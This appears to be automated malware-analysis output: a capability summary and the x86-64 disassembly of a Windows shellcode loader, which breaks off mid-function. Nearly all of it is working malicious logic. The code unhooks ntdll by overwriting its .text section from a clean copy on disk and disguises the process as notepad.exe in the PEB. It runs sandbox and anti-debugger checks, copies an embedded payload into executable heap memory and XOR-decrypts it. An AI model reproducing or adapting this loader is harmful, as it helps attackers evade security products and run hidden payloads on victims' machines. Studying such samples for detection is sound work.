Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x870
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7e0], xmm6
mov dword [rbp + 0x810], ecx
mov qword [rbp + 0x818], rdx
call fcn.140002c70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d8], rax
cmp qword [rbp + 0x7d8], 0
je 0x140001af0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
mov rax, qword [rbp + 0x758]
mov r10, qword [rbp + 0x7d8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x750], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x744], 0
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x7d4], 0
jmp 0x1400016f3
mov dword [rbp + 0x7d0], 0
jmp 0x1400016df
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x738]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x730]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x47
jle 0x14000161e
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 9
jle 0x14000160f
mov dword [rbp + 0x7d4], 0
jmp 0x1400017d0
mov dword [rbp + 0x7d0], 0
jmp 0x1400017bc
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x738]
add rdx, rax
mov eax, dword [rbp + 0x7d0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x730]
add rdx, rax
mov eax, dword [rbp + 0x7d0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x728]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7d0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x47
jle 0x14000171e
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 9
jle 0x14000170f
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x720], rax
mov dword [rbp + 0x7cc], 0x2f8
jmp 0x140001859
sub dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x3e
jg 0x140001852
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7c4], 0
mov dword [rbp + 0x714], 0
mov ecx, 0xc18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x7c8], 0
jmp 0x140001943
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x708]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7c4], eax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x305
jle 0x1400018c7
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x750]
add rax, rdx
mov qword [rbp + 0x6f8], rax
mov word [rbp + 0x7c2], 0
jmp 0x140001ad8
mov rax, qword [rbp + 0x6f8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6f8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7c2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ac7
mov dword [rbp + 0x568], 0
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x750]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x750]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x568]
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x750]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7c2]
add eax, 1
mov word [rbp + 0x7c2], ax
mov rax, qword [rbp + 0x6f8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7c2], ax
jb 0x14000199c
mov ecx, 0x1308
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov ecx, 0x1308
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov ecx, 0x1308
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x7bc], 0
jmp 0x140001c06
mov dword [rbp + 0x7b8], 0
jmp 0x140001bf2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
imul rcx, rax, 0x15c
mov rax, qword [rbp + 0x6e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
imul rcx, rax, 0x15c
mov rax, qword [rbp + 0x6e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x56
jle 0x140001b41
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0xd
jle 0x140001b32
mov dword [rbp + 0x7bc], 0
jmp 0x140001cbf
mov dword [rbp + 0x7b8], 0
jmp 0x140001cab
mov eax, dword [rbp + 0x7bc]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x6e8]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7bc]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x6e0]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7bc]
cdqe
imul rdx, rax, 0x15c
mov rax, qword [rbp + 0x6d8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x56
jle 0x140001c2e
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0xd
jle 0x140001c22
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x56c], 0
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x7b0], 0
mov ecx, 0xdf8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x7ac], 0
jmp 0x140001da2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7b4], eax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x37d
jle 0x140001d34
mov dword [rbp + 0x7ac], 0
jmp 0x140001e2a
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7b0]
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5b8]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006608]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e60
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7b0], eax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x37d
jle 0x140001dba
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7b0]
movss xmm1, dword [0x140006610]
divss xmm0, xmm1
movss dword [rbp + 0x6cc], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x6cc]
movq rax, xmm4
movq xmm0, rax
call fcn.140003c80
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6c8], xmm0
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x56c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x578]
add rax, 0x3c
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ac], eax
cmp dword [rbp + 0x6ac], 0xffffffff
je 0x140002ba3
mov qword [rbp + 0x6a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x698]
mov r9d, 0x3000
mov r8d, 0x384
mov edx, 0
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140002ba3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
jne 0x140002ba3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x140002ba3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov ecx, 0
call rax
mov dword [rbp + 0x674], eax
cmp dword [rbp + 0x674], 0xffffffff
je 0x140002ba3
mov dword [rbp + 0x564], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x564]
mov r8, qword [rbp + 0x668]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x564]
cmp eax, 1
je 0x140002ba3
mov qword [rbp + 0x7a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x1400021c3
mov rax, qword [rbp + 0x660]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x658]
mov r9d, 0x3000
mov r8d, 0x483
mov edx, 0
call rax
mov qword [rbp + 0x7a0], rax
cmp qword [rbp + 0x7a0], 0
je 0x140002ba3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x14000222a
mov rax, qword [rbp + 0x650]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov ecx, 0
call rax
mov dword [rbp + 0x79c], eax
cmp dword [rbp + 0x79c], 0xffffffff
je 0x140002ba3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
jne 0x140002ba3
mov dword [rbp + 0x63c], 0x3e2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
call rax
mov dword [rbp + 0x62c], eax
mov eax, dword [rbp + 0x63c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x630]
call rax
mov dword [rbp + 0x628], eax
mov eax, dword [rbp + 0x628]
sub eax, dword [rbp + 0x62c]
cmp eax, 0x3b0
jbe 0x140002ba3
lea rax, [rbp + 0x90]
lea rdx, [0x140006140]
mov ecx, 0x98
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x620]
mov r8d, 0
mov edx, 0x4c5
mov ecx, 0x40000
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x618]
mov r8d, 0x4c5
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x608]
mov r9, qword [rbp + 0x600]
mov r8d, 0x4c5
mov rcx, rax
call r9
mov dword [rbp + 0x798], 0
mov dword [rbp + 0x794], 0xffffffff
mov ecx, 0x1d50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
add dword [rbp + 0x794], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
movsd xmm1, qword [0x140006620]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x794]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
movq xmm1, qword [0x140006630]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x794], 0x3a8
jle 0x14000240d
mov dword [rbp + 0x790], 0
mov dword [rbp + 0x78c], 0
movabs rax, 0xf833efbcc8f94b91
movabs rdx, 0x25164eb3a969196a
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x34428566773ecad8
movabs rdx, 0x5861ad185572fa9c
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x90e2e5989561fa59
movabs rdx, 0xff5f42dc50d9bbf
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x5001539c77e4cf67
movabs rdx, 0x27b7078674672d80
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
mov dword [rbp + 0x7f], 0x2a7227
movabs rax, 0x6fef7e918ce6883
movabs rdx, 0xef72d557ec14eb19
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x518ffd25e2518709
movabs rdx, 0x9633f780bbde3a59
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x3517c6d23b0c96
mov qword [rbp - 0x21], rax
jmp 0x1400025f9
cmp dword [rbp + 0x790], 0x25
jne 0x1400025c3
mov eax, dword [rbp + 0x798]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x790]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x798]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x790], 0
jmp 0x1400025f2
mov eax, dword [rbp + 0x798]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x790]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x798]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x790], 1
add dword [rbp + 0x798], 1
mov eax, dword [rbp + 0x798]
cmp eax, 0x41
jbe 0x140002586
mov dword [rbp + 0x798], 0
jmp 0x140002813
cmp dword [rbp + 0x78c], 0x41
jne 0x140002666
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x78c]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x78c], 0
jmp 0x1400026ab
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x78c]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x798]
movsxd rdx, eax
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x78c], 1
mov ecx, 0x4908
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x788], 0
mov dword [rbp + 0x5bc], 1
mov dword [rbp + 0x784], 0
jmp 0x140002761
mov dword [rbp + 0x780], 0
jmp 0x140002751
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x784]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x5c0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x780]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x51
jle 0x1400026eb
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x38
jle 0x1400026df
mov dword [rbp + 0x784], 0
jmp 0x1400027de
mov dword [rbp + 0x780], 0
jmp 0x1400027ce
mov eax, dword [rbp + 0x784]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x5c0]
add rdx, rax
mov eax, dword [rbp + 0x780]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400027c7
add dword [rbp + 0x788], 1
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x51
jle 0x140002786
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x38
jle 0x14000277a
cmp dword [rbp + 0x788], 0x921
je 0x1400027fd
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x798], 1
cmp dword [rbp + 0x798], 0x4c4
jle 0x140002613
pxor xmm0, xmm0
movss dword [rbp + 0x778], xmm0
mov dword [rbp + 0x77c], 0
jmp 0x1400028b4
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x77c]
movsd xmm0, qword [0x140006620]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006640]
movd xmm0, eax
call fcn.140003c60
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x77c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006620]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x778]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x778], xmm0
add dword [rbp + 0x77c], 1
cmp dword [rbp + 0x77c], 0xe9
jle 0x14000283b
movss xmm1, dword [rbp + 0x778]
movss xmm0, dword [0x140006644]
mulss xmm0, xmm1
movss dword [rbp + 0x778], xmm0
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x774], 0xffffffff
mov ecx, 0x1750
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
add dword [rbp + 0x774], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
